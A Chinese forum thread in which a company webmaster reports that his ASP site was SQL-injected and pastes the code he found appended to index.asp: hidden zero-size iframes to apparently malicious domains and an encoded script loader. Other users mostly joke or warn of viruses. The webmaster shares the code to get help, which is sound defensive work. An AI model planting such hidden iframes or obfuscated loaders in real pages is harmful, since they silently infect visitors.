"这么'漂亮'的一个网站,都被黑了,还有天理吗?还有王法吗? "所以,请高手检查它.
如题,网址:www.sh-clean.com.cn(已被sql注入)所用木马我查到为火狐的webshell.请大家研究下,还有多少漏洞(注:小心他会post东西给你哦)还有一句引言:"这么'漂亮'的一个网站,都被黑了,还有王法吗? 还有天理吗?" --------------------编程问答-------------------- 这么'漂亮'的一个网站,就因为吐了一口口水,就被黑了,还有王法吗?还有法律吗? --------------------编程问答-------------------- 汗.. --------------------编程问答-------------------- 你要敢骗人，看有人不揍死你！ --------------------编程问答-------------------- 疑似广告... --------------------编程问答-------------------- 揍死他 --------------------编程问答-------------------- 有病毒 --------------------编程问答-------------------- 把搂住拖出去... --------------------编程问答-------------------- 。。。有毒。。。。此帖为“烂铁” --------------------编程问答-------------------- 拖出去和谐了！ --------------------编程问答-------------------- 砍了! --------------------编程问答-------------------- 正中申明:不是黑贴啊!!!!!!!!!!!!!!!!!!!!!!易做图啊!!!!!!!!!!!!!!
这个网站是我们公司的网站,asp的,是用一个网上下载的模板diy的.
昨天我在网上down了hdsi,冰舞等软件检查漏洞,发现没有注入漏洞,不知道这个犯罪分子是怎么渗透到我们公司的网站的!!请大家帮我发现他,并将他干掉.
我从ftp里down下index.asp,发现它里面在</html>后面加入了如下代码:
<iframe src=http://a5.llsging.com/ww/new05.htm?013 width=1 height=1></iframe>
<iframe src=http://pr.749571.com/ww/new05.htm?013 width=1 height=1></iframe>
<iFrame src=hTTp://aaa.77xxmm.cn/new858.hTm?075 widtH=0 name='3649' heIght=0></Iframe><Iframe src=http://aaa.1l1l1l.com/error/404.html width=0 naMe='3649' hEight=0></iframE>
<ifraMe src=http://AAA.77xxmm.cn/new858.htm?075 Width=0 Name='7906' height=0></ifraMe><ifraMe src=http://AAA.1l1l1l.com/error/404.html wIdth=0 name='7906' heIght=0></Iframe>
<script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x4F\x25\x36\x36\x25\x36\x36\x25\x34\x39\x25\x36\x33\x65\x25\x32\x45\x25\x34\x36\x25\x34\x31\x51\x25\x35\x33\x25\x36\x35\x25\x37\x32\x76\x2E\x25\x34\x33\x25\x36\x46\x25\x34\x44\x2F\x25\x34\x36\x25\x34\x31\x25\x35\x31\x25\x32\x45\x25\x36\x41\x25\x37\x33\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>
<ifraMe src=http://ppp.749571.com/ww/new888.htm?011 Width=1 nAme='8812' height=1></iframe>
<iframe src=http://ppp.749571.com/ww/new888.htm?011 width=1 height=1></iframe>
<iframe src=http://ppp.749571.com/ww/new888.htm?011 widTh=1 name='3080' height=1></iframe>
<iframE src=http://aaa.77XXmm.cn/new858.htm?075 wIdth=0 naMe='8414' hEight=0></iframE><iframE src=http://aaa.1L1L1L.com/error/404.htmL wiDth=0 name='8414' heighT=0></iframe>
<ifraMe src=http://aaa.77xxmm.cn/new858.htm?075 Width=0 name='7072' height=0></ifRame><ifRame src=httP://aaa.1l1l1l.com/error/404.html Width=0 name='7072' height=0></iframe>
<iframe srC=http://aaa.77xxmm.Cn/new858.htm?075 wiDth=0 namE='8836' HeigHt=0></iframe><iframe src=http://aaa.1l1l1l.com/error/404.html widTh=0 name='8836' height=0></iframe>
<iFrame src=Http://aaa.77xxmm.cn/new858.Htm?075 widtH=0 name='2167' height=0></iframe><iframe src=http://aaa.1l1l1l.com/error/404.html width=0 nAme='2167' height=0></ifraMe>
<iframe src=http://aaa.77xxmm.cn/new858.htm?075 wiDth=0 naMe='9550' heiGht=0></iframe><iframe src=http://aaa.1L1L1L.com/error/404.htmL widTh=0 name='9550' height=0></iframe>
请大家看看
--------------------编程问答-------------------- 请大家介绍一下!!他们那些奇怪的网址我不敢打开，如果大家以前见过类似的网页，请告之本人，也顺便能通知各位同志． --------------------编程问答-------------------- 我的qq：１４７６２６８８ 请高手指教(有验证 答案是:moordance) --------------------编程问答-------------------- 没什么奇怪的
漂亮的女人一般都给易做图了，何况网站乎！ --------------------编程问答-------------------- 昨天我在网上down了hdsi,冰舞等软件检查漏洞,发现没有注入漏洞
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
你真实太傻了。
.net 程序都爆这种古老的漏洞。-_-! --------------------编程问答-------------------- 无语。。。 --------------------编程问答-------------------- ... --------------------编程问答-------------------- 真吓人 有人点开看了吗? --------------------编程问答--------------------
gjbd --------------------编程问答-------------------- ????? --------------------编程问答-------------------- mark --------------------编程问答-------------------- 有病毒。卡巴斯基 叫了 --------------------编程问答--------------------
是ASP的
不是.NET的
有这种洞太正常了
看清楚了
我是不怕病毒，病毒怕我
o(∩_∩)o...
补充：.NET技术 , ASP.NET
